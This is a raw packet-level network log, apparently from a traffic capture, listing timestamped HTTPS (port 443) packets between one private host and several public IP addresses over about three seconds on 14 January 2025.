Jan 14, 2025 17:25:31.449642897 CET	443	51397	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:31.449748993 CET	443	51397	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:31.449774027 CET	443	51397	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:31.449800968 CET	51397	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:31.449826956 CET	443	51397	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:31.449875116 CET	51397	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:31.449882984 CET	443	51397	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:31.449935913 CET	443	51397	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:31.449986935 CET	51397	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:31.450531960 CET	51397	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:31.450545073 CET	443	51397	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:31.509413004 CET	51398	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:25:31.509521008 CET	443	51398	172.67.210.82	192.168.2.4
Jan 14, 2025 17:25:31.509603977 CET	51398	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:25:31.509661913 CET	51399	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:25:31.509758949 CET	443	51399	172.67.210.82	192.168.2.4
Jan 14, 2025 17:25:31.509835958 CET	51399	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:25:31.513026953 CET	51399	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:25:31.513068914 CET	443	51399	172.67.210.82	192.168.2.4
Jan 14, 2025 17:25:31.513411999 CET	51398	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:25:31.513453007 CET	443	51398	172.67.210.82	192.168.2.4
Jan 14, 2025 17:25:31.515934944 CET	51400	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:31.515954018 CET	443	51400	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:31.516006947 CET	51400	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:31.516205072 CET	51400	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:31.516215086 CET	443	51400	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:31.969651937 CET	443	51398	172.67.210.82	192.168.2.4
Jan 14, 2025 17:25:31.970022917 CET	51398	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:25:31.970061064 CET	443	51398	172.67.210.82	192.168.2.4
Jan 14, 2025 17:25:31.970990896 CET	443	51398	172.67.210.82	192.168.2.4
Jan 14, 2025 17:25:31.971065998 CET	51398	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:25:31.971348047 CET	51398	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:25:31.971388102 CET	51398	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:25:31.971407890 CET	51398	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:25:31.971426964 CET	443	51398	172.67.210.82	192.168.2.4
Jan 14, 2025 17:25:31.971487045 CET	51398	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:25:31.971767902 CET	51401	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:25:31.971781015 CET	443	51401	172.67.210.82	192.168.2.4
Jan 14, 2025 17:25:31.971857071 CET	51401	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:25:31.972028971 CET	51401	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:25:31.972033978 CET	443	51401	172.67.210.82	192.168.2.4
Jan 14, 2025 17:25:31.977566004 CET	443	51400	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:31.977760077 CET	51400	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:31.977786064 CET	443	51400	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:31.978833914 CET	443	51400	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:31.979074955 CET	51400	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:31.979177952 CET	51400	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:31.979182005 CET	443	51400	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:31.979218006 CET	443	51400	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:31.983844995 CET	443	51399	172.67.210.82	192.168.2.4
Jan 14, 2025 17:25:31.984061003 CET	51399	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:25:31.984085083 CET	443	51399	172.67.210.82	192.168.2.4
Jan 14, 2025 17:25:31.985696077 CET	443	51399	172.67.210.82	192.168.2.4
Jan 14, 2025 17:25:31.985773087 CET	51399	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:25:31.986011028 CET	51399	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:25:31.986022949 CET	51399	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:25:31.986092091 CET	443	51399	172.67.210.82	192.168.2.4
Jan 14, 2025 17:25:31.986097097 CET	51399	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:25:31.986144066 CET	51399	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:25:31.986458063 CET	51402	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:25:31.986484051 CET	443	51402	172.67.210.82	192.168.2.4
Jan 14, 2025 17:25:31.986568928 CET	51402	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:25:31.986741066 CET	51402	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:25:31.986757994 CET	443	51402	172.67.210.82	192.168.2.4
Jan 14, 2025 17:25:32.029539108 CET	51400	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:32.111911058 CET	443	51400	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:32.112091064 CET	443	51400	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:32.112155914 CET	51400	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:32.112724066 CET	51400	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:32.112739086 CET	443	51400	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:32.448796988 CET	443	51401	172.67.210.82	192.168.2.4
Jan 14, 2025 17:25:32.449145079 CET	51401	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:25:32.449155092 CET	443	51401	172.67.210.82	192.168.2.4
Jan 14, 2025 17:25:32.450186014 CET	443	51401	172.67.210.82	192.168.2.4
Jan 14, 2025 17:25:32.450273037 CET	51401	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:25:32.451220989 CET	51401	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:25:32.451283932 CET	443	51401	172.67.210.82	192.168.2.4
Jan 14, 2025 17:25:32.451435089 CET	51401	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:25:32.451443911 CET	443	51401	172.67.210.82	192.168.2.4
Jan 14, 2025 17:25:32.451461077 CET	51401	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:25:32.459217072 CET	443	51402	172.67.210.82	192.168.2.4
Jan 14, 2025 17:25:32.459500074 CET	51402	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:25:32.459513903 CET	443	51402	172.67.210.82	192.168.2.4
Jan 14, 2025 17:25:32.462856054 CET	443	51402	172.67.210.82	192.168.2.4
Jan 14, 2025 17:25:32.462915897 CET	51402	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:25:32.463162899 CET	51402	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:25:32.463236094 CET	443	51402	172.67.210.82	192.168.2.4
Jan 14, 2025 17:25:32.497136116 CET	51401	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:25:32.497143984 CET	443	51401	172.67.210.82	192.168.2.4
Jan 14, 2025 17:25:32.518361092 CET	51402	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:25:32.518372059 CET	443	51402	172.67.210.82	192.168.2.4
Jan 14, 2025 17:25:32.563641071 CET	51402	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:25:33.078599930 CET	443	51401	172.67.210.82	192.168.2.4
Jan 14, 2025 17:25:33.078633070 CET	443	51401	172.67.210.82	192.168.2.4
Jan 14, 2025 17:25:33.078680038 CET	51401	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:25:33.078690052 CET	443	51401	172.67.210.82	192.168.2.4
Jan 14, 2025 17:25:33.079133034 CET	443	51401	172.67.210.82	192.168.2.4
Jan 14, 2025 17:25:33.079160929 CET	443	51401	172.67.210.82	192.168.2.4
Jan 14, 2025 17:25:33.079178095 CET	51401	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:25:33.079185009 CET	443	51401	172.67.210.82	192.168.2.4
Jan 14, 2025 17:25:33.079221964 CET	51401	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:25:33.079227924 CET	443	51401	172.67.210.82	192.168.2.4
Jan 14, 2025 17:25:33.079550982 CET	443	51401	172.67.210.82	192.168.2.4
Jan 14, 2025 17:25:33.079583883 CET	443	51401	172.67.210.82	192.168.2.4
Jan 14, 2025 17:25:33.079591990 CET	51401	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:25:33.079597950 CET	443	51401	172.67.210.82	192.168.2.4
Jan 14, 2025 17:25:33.079639912 CET	443	51401	172.67.210.82	192.168.2.4
Jan 14, 2025 17:25:33.079668045 CET	51401	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:25:33.079674959 CET	443	51401	172.67.210.82	192.168.2.4
Jan 14, 2025 17:25:33.079726934 CET	51401	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:25:33.168514967 CET	443	51401	172.67.210.82	192.168.2.4
Jan 14, 2025 17:25:33.169083118 CET	443	51401	172.67.210.82	192.168.2.4
Jan 14, 2025 17:25:33.169126987 CET	51401	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:25:33.169133902 CET	443	51401	172.67.210.82	192.168.2.4
Jan 14, 2025 17:25:33.169181108 CET	443	51401	172.67.210.82	192.168.2.4
Jan 14, 2025 17:25:33.169208050 CET	443	51401	172.67.210.82	192.168.2.4
Jan 14, 2025 17:25:33.169219017 CET	51401	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:25:33.169225931 CET	443	51401	172.67.210.82	192.168.2.4
Jan 14, 2025 17:25:33.169261932 CET	51401	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:25:33.169267893 CET	443	51401	172.67.210.82	192.168.2.4
Jan 14, 2025 17:25:33.169871092 CET	443	51401	172.67.210.82	192.168.2.4
Jan 14, 2025 17:25:33.169898033 CET	443	51401	172.67.210.82	192.168.2.4
Jan 14, 2025 17:25:33.169915915 CET	51401	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:25:33.169923067 CET	443	51401	172.67.210.82	192.168.2.4
Jan 14, 2025 17:25:33.169960022 CET	51401	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:25:33.169965029 CET	443	51401	172.67.210.82	192.168.2.4
Jan 14, 2025 17:25:33.170375109 CET	443	51401	172.67.210.82	192.168.2.4
Jan 14, 2025 17:25:33.170397043 CET	443	51401	172.67.210.82	192.168.2.4
Jan 14, 2025 17:25:33.170416117 CET	51401	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:25:33.170422077 CET	443	51401	172.67.210.82	192.168.2.4
Jan 14, 2025 17:25:33.170463085 CET	51401	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:25:33.170468092 CET	443	51401	172.67.210.82	192.168.2.4
Jan 14, 2025 17:25:33.170476913 CET	443	51401	172.67.210.82	192.168.2.4
Jan 14, 2025 17:25:33.170512915 CET	51401	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:25:33.171220064 CET	443	51401	172.67.210.82	192.168.2.4
Jan 14, 2025 17:25:33.171267986 CET	443	51401	172.67.210.82	192.168.2.4
Jan 14, 2025 17:25:33.171294928 CET	443	51401	172.67.210.82	192.168.2.4
Jan 14, 2025 17:25:33.171305895 CET	51401	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:25:33.171315908 CET	443	51401	172.67.210.82	192.168.2.4
Jan 14, 2025 17:25:33.171344042 CET	443	51401	172.67.210.82	192.168.2.4
Jan 14, 2025 17:25:33.171350956 CET	51401	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:25:33.171356916 CET	443	51401	172.67.210.82	192.168.2.4
Jan 14, 2025 17:25:33.171406984 CET	51401	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:25:33.172064066 CET	443	51401	172.67.210.82	192.168.2.4
Jan 14, 2025 17:25:33.217719078 CET	51401	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:25:33.217725992 CET	443	51401	172.67.210.82	192.168.2.4
Jan 14, 2025 17:25:33.260699987 CET	443	51401	172.67.210.82	192.168.2.4
Jan 14, 2025 17:25:33.260723114 CET	443	51401	172.67.210.82	192.168.2.4
Jan 14, 2025 17:25:33.260747910 CET	51401	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:25:33.260757923 CET	443	51401	172.67.210.82	192.168.2.4
Jan 14, 2025 17:25:33.260804892 CET	51401	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:25:33.260885954 CET	443	51401	172.67.210.82	192.168.2.4
Jan 14, 2025 17:25:33.261116028 CET	443	51401	172.67.210.82	192.168.2.4
Jan 14, 2025 17:25:33.261121988 CET	443	51401	172.67.210.82	192.168.2.4
Jan 14, 2025 17:25:33.261168003 CET	51401	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:25:33.261176109 CET	443	51401	172.67.210.82	192.168.2.4
Jan 14, 2025 17:25:33.261780024 CET	443	51401	172.67.210.82	192.168.2.4
Jan 14, 2025 17:25:33.261800051 CET	443	51401	172.67.210.82	192.168.2.4
Jan 14, 2025 17:25:33.261826038 CET	51401	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:25:33.261832952 CET	443	51401	172.67.210.82	192.168.2.4
Jan 14, 2025 17:25:33.261862040 CET	51401	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:25:33.261921883 CET	443	51401	172.67.210.82	192.168.2.4
Jan 14, 2025 17:25:33.261970043 CET	51401	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:25:33.263227940 CET	51401	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:25:33.263233900 CET	443	51401	172.67.210.82	192.168.2.4
Jan 14, 2025 17:25:33.301461935 CET	51403	443	192.168.2.4	151.101.194.137
Jan 14, 2025 17:25:33.301539898 CET	443	51403	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:33.301619053 CET	51403	443	192.168.2.4	151.101.194.137
Jan 14, 2025 17:25:33.302232981 CET	51403	443	192.168.2.4	151.101.194.137
Jan 14, 2025 17:25:33.302268982 CET	443	51403	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:33.307164907 CET	51404	443	192.168.2.4	104.17.24.14
Jan 14, 2025 17:25:33.307188988 CET	443	51404	104.17.24.14	192.168.2.4
Jan 14, 2025 17:25:33.307239056 CET	51404	443	192.168.2.4	104.17.24.14
Jan 14, 2025 17:25:33.307487965 CET	51404	443	192.168.2.4	104.17.24.14
Jan 14, 2025 17:25:33.307495117 CET	443	51404	104.17.24.14	192.168.2.4
Jan 14, 2025 17:25:33.308166027 CET	51406	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:33.308177948 CET	443	51406	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:33.308290958 CET	51406	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:33.308731079 CET	51406	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:33.308748007 CET	443	51406	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:33.309022903 CET	51407	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:33.309060097 CET	443	51407	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:33.309098959 CET	51407	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:33.309376001 CET	51407	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:33.309382915 CET	443	51407	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:33.693820953 CET	51408	443	192.168.2.4	43.135.205.15
Jan 14, 2025 17:25:33.693865061 CET	443	51408	43.135.205.15	192.168.2.4
Jan 14, 2025 17:25:33.693944931 CET	51408	443	192.168.2.4	43.135.205.15
Jan 14, 2025 17:25:33.694205046 CET	51408	443	192.168.2.4	43.135.205.15
Jan 14, 2025 17:25:33.694224119 CET	443	51408	43.135.205.15	192.168.2.4
Jan 14, 2025 17:25:33.779380083 CET	443	51403	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:33.779673100 CET	51403	443	192.168.2.4	151.101.194.137
Jan 14, 2025 17:25:33.779683113 CET	443	51403	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:33.780704975 CET	443	51403	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:33.780776978 CET	51403	443	192.168.2.4	151.101.194.137
Jan 14, 2025 17:25:33.781775951 CET	51403	443	192.168.2.4	151.101.194.137
Jan 14, 2025 17:25:33.781836987 CET	443	51403	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:33.782017946 CET	51403	443	192.168.2.4	151.101.194.137
Jan 14, 2025 17:25:33.782026052 CET	443	51403	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:33.805182934 CET	443	51407	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:33.805412054 CET	51407	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:33.805429935 CET	443	51407	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:33.805488110 CET	443	51406	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:33.805664062 CET	51406	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:33.805672884 CET	443	51406	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:33.806442022 CET	443	51407	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:33.806508064 CET	51407	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:33.806529045 CET	443	51406	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:33.806586981 CET	51406	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:33.806925058 CET	443	51404	104.17.24.14	192.168.2.4
Jan 14, 2025 17:25:33.807298899 CET	51407	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:33.807358027 CET	443	51407	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:33.807539940 CET	51404	443	192.168.2.4	104.17.24.14
Jan 14, 2025 17:25:33.807554007 CET	443	51404	104.17.24.14	192.168.2.4
Jan 14, 2025 17:25:33.807622910 CET	51406	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:33.807679892 CET	443	51406	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:33.807715893 CET	51407	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:33.807723045 CET	443	51407	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:33.807790995 CET	51406	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:33.807797909 CET	443	51406	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:33.809079885 CET	443	51404	104.17.24.14	192.168.2.4
Jan 14, 2025 17:25:33.809142113 CET	51404	443	192.168.2.4	104.17.24.14
Jan 14, 2025 17:25:33.809813023 CET	51404	443	192.168.2.4	104.17.24.14
Jan 14, 2025 17:25:33.809891939 CET	443	51404	104.17.24.14	192.168.2.4
Jan 14, 2025 17:25:33.809988022 CET	51404	443	192.168.2.4	104.17.24.14
Jan 14, 2025 17:25:33.809993982 CET	443	51404	104.17.24.14	192.168.2.4
Jan 14, 2025 17:25:33.825862885 CET	51403	443	192.168.2.4	151.101.194.137
Jan 14, 2025 17:25:33.857656956 CET	51406	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:33.857656002 CET	51407	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:33.857779026 CET	51404	443	192.168.2.4	104.17.24.14
Jan 14, 2025 17:25:33.876621008 CET	443	51403	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:33.877706051 CET	443	51403	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:33.877734900 CET	443	51403	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:33.877759933 CET	443	51403	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:33.877779961 CET	51403	443	192.168.2.4	151.101.194.137
Jan 14, 2025 17:25:33.877789021 CET	443	51403	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:33.877819061 CET	51403	443	192.168.2.4	151.101.194.137
Jan 14, 2025 17:25:33.878117085 CET	443	51403	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:33.878144979 CET	443	51403	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:33.878160000 CET	51403	443	192.168.2.4	151.101.194.137
Jan 14, 2025 17:25:33.878166914 CET	443	51403	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:33.878206015 CET	51403	443	192.168.2.4	151.101.194.137
Jan 14, 2025 17:25:33.878211975 CET	443	51403	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:33.878967047 CET	443	51403	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:33.878993034 CET	443	51403	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:33.879014015 CET	51403	443	192.168.2.4	151.101.194.137
Jan 14, 2025 17:25:33.879021883 CET	443	51403	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:33.879059076 CET	51403	443	192.168.2.4	151.101.194.137
Jan 14, 2025 17:25:33.891972065 CET	443	51403	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:33.936213970 CET	51403	443	192.168.2.4	151.101.194.137
Jan 14, 2025 17:25:33.943490028 CET	443	51404	104.17.24.14	192.168.2.4
Jan 14, 2025 17:25:33.943619013 CET	443	51404	104.17.24.14	192.168.2.4
Jan 14, 2025 17:25:33.943691969 CET	51404	443	192.168.2.4	104.17.24.14
Jan 14, 2025 17:25:33.943718910 CET	443	51404	104.17.24.14	192.168.2.4
Jan 14, 2025 17:25:33.948487997 CET	443	51404	104.17.24.14	192.168.2.4
Jan 14, 2025 17:25:33.948548079 CET	51404	443	192.168.2.4	104.17.24.14
Jan 14, 2025 17:25:33.948554993 CET	443	51404	104.17.24.14	192.168.2.4
Jan 14, 2025 17:25:33.948643923 CET	443	51404	104.17.24.14	192.168.2.4
Jan 14, 2025 17:25:33.948695898 CET	51404	443	192.168.2.4	104.17.24.14
Jan 14, 2025 17:25:33.948702097 CET	443	51404	104.17.24.14	192.168.2.4
Jan 14, 2025 17:25:33.953965902 CET	443	51404	104.17.24.14	192.168.2.4
Jan 14, 2025 17:25:33.954027891 CET	51404	443	192.168.2.4	104.17.24.14
Jan 14, 2025 17:25:33.954032898 CET	443	51404	104.17.24.14	192.168.2.4
Jan 14, 2025 17:25:33.954119921 CET	443	51404	104.17.24.14	192.168.2.4
Jan 14, 2025 17:25:33.954390049 CET	51404	443	192.168.2.4	104.17.24.14
Jan 14, 2025 17:25:33.954395056 CET	443	51404	104.17.24.14	192.168.2.4
Jan 14, 2025 17:25:33.959302902 CET	443	51407	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:33.959467888 CET	443	51407	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:33.959567070 CET	443	51407	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:33.959623098 CET	51407	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:33.959640026 CET	443	51407	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:33.960410118 CET	51407	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:33.963469028 CET	443	51407	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:33.963632107 CET	443	51407	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:33.963716030 CET	443	51407	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:33.963764906 CET	51407	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:33.963772058 CET	443	51407	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:33.964044094 CET	51407	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:33.968313932 CET	443	51407	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:33.968420029 CET	443	51407	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:33.968679905 CET	51407	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:33.968686104 CET	443	51407	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:33.973109961 CET	443	51406	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:33.973143101 CET	443	51406	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:33.973182917 CET	443	51406	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:33.973187923 CET	51406	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:33.973196030 CET	443	51406	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:33.973242044 CET	51406	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:33.977709055 CET	443	51406	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:33.977746964 CET	443	51406	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:33.977772951 CET	443	51406	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:33.977792025 CET	51406	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:33.977798939 CET	443	51406	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:33.978158951 CET	51406	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:33.982430935 CET	443	51406	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:33.987325907 CET	443	51403	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:33.987580061 CET	443	51407	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:33.987767935 CET	51407	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:33.987773895 CET	443	51407	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:33.991975069 CET	443	51403	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:33.991998911 CET	443	51403	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:33.992018938 CET	51403	443	192.168.2.4	151.101.194.137
Jan 14, 2025 17:25:33.992019892 CET	443	51403	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:33.992031097 CET	443	51403	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:33.992068052 CET	51403	443	192.168.2.4	151.101.194.137
Jan 14, 2025 17:25:33.995873928 CET	51404	443	192.168.2.4	104.17.24.14
Jan 14, 2025 17:25:33.995882034 CET	443	51404	104.17.24.14	192.168.2.4
Jan 14, 2025 17:25:33.996714115 CET	443	51403	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:33.996762037 CET	51403	443	192.168.2.4	151.101.194.137
Jan 14, 2025 17:25:33.996774912 CET	443	51403	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:34.001451015 CET	443	51403	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:34.001486063 CET	443	51403	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:34.001512051 CET	51403	443	192.168.2.4	151.101.194.137
Jan 14, 2025 17:25:34.001518011 CET	443	51403	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:34.001550913 CET	443	51403	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:34.001559019 CET	51403	443	192.168.2.4	151.101.194.137
Jan 14, 2025 17:25:34.001564026 CET	443	51403	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:34.001610994 CET	51403	443	192.168.2.4	151.101.194.137
Jan 14, 2025 17:25:34.001617908 CET	443	51403	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:34.006228924 CET	443	51403	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:34.006248951 CET	443	51403	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:34.006273985 CET	51403	443	192.168.2.4	151.101.194.137
Jan 14, 2025 17:25:34.006282091 CET	443	51403	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:34.006608963 CET	51403	443	192.168.2.4	151.101.194.137
Jan 14, 2025 17:25:34.010994911 CET	443	51403	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:34.011034012 CET	443	51403	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:34.011055946 CET	443	51403	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:34.011075020 CET	443	51403	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:34.011112928 CET	51403	443	192.168.2.4	151.101.194.137
Jan 14, 2025 17:25:34.011121035 CET	443	51403	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:34.011130095 CET	51403	443	192.168.2.4	151.101.194.137
Jan 14, 2025 17:25:34.015748024 CET	443	51403	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:34.015765905 CET	443	51403	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:34.015808105 CET	51403	443	192.168.2.4	151.101.194.137
Jan 14, 2025 17:25:34.015815973 CET	443	51403	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:34.015861034 CET	51403	443	192.168.2.4	151.101.194.137
Jan 14, 2025 17:25:34.020488977 CET	443	51406	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.020539045 CET	51406	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:34.020545959 CET	443	51406	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.025307894 CET	443	51406	104.18.11.207	192.168.2.4
